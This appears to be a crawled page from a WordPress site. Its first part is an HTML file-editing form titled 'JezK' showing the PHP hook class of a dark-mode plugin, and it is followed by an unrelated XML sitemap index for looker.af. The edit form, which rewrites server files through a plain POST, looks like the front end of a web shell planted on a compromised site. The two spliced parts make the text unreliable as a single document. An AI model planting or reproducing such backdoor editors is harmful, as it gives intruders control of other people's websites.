
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Hooks.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace Darklooks\Inc;
/**
 *
 * @package     Darklooks
 * @author      ThemeLooks
 * @copyright   2020 ThemeLooks
 * @license     GPL-2.0-or-later
 *
 *
 */

class Hooks {

	/**
	 * [getHooked description]
	 * @return [type] [description]
	 */
	public static function getHooked() {
		add_action( &#039;wp_footer&#039;, [ __CLASS__, &#039;modeSwitcherMarkup&#039; ] );
		add_action( &#039;wp_head&#039;, [ __CLASS__, &#039;getCustomCSS&#039; ] );
		add_filter( &#039;wp_nav_menu_items&#039;, [ __CLASS__, &#039;add_mode_switch_in_menu&#039; ], 10, 2 );
	}

	/**
	 * Mode changer switch hooked in footer to show in frontend
	 * @since  1.0.0
	 * @return void
	 */
	public static function modeSwitcherMarkup() {
		
		if( !Helper::getOptionValue(&#039;darkmode_floating_switch&#039;) ) {
			return;
		}

	    $position = Helper::getOptionValue(&#039;switcher_position&#039;);
		echo &#039;&lt;div class=&quot;floating-mode-switcher-wrap floating-&#039;.esc_attr( $position ).&#039;&quot;&gt;&#039;.Mode_Switch::getSwitch().&#039;&lt;/div&gt;&#039;;
	}
	/**
     * showMode change switch in menu
     *
     * @since  1.0.0
     * @param html $items, array $args
     * @return void
     * 
     */
	public static function add_mode_switch_in_menu( $items, $args ) {

		if( !Helper::getOptionValue(&#039;mode_switch_menu&#039;) ) {
			return $items;
		}

		$location    = Helper::getOptionValue(&#039;switch_menu_location&#039;);
		if( !empty( $location ) &amp;&amp; in_array( $args-&gt;theme_location, $location ) ){
		  $items .= &#039;&lt;li class=&quot;menu-mode-switch&quot;&gt;&#039;.Mode_Switch::getSwitch().&#039;&lt;/li&gt;&#039;;
		}
		return $items;
	}
	/**
	 * Custom css
	 * getCustomCSS method hooked in wp_head
	 * 
	 * @since  1.0.0
	 * @return void
	 * 
	 */
	public static function getCustomCSS() {
		if( !empty( Helper::getOptionValue(&#039;darklooks_custom_css&#039;) ) ) {
			echo &#039;&lt;style type=&quot;text/css&quot;&gt;&#039;;
				echo apply_filters( &#039;darklooks_custom_css&#039;, Helper::getOptionValue(&#039;darklooks_custom_css&#039;) );
			echo &#039;&lt;/style&gt;&#039;;
		}
		
	}

}</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
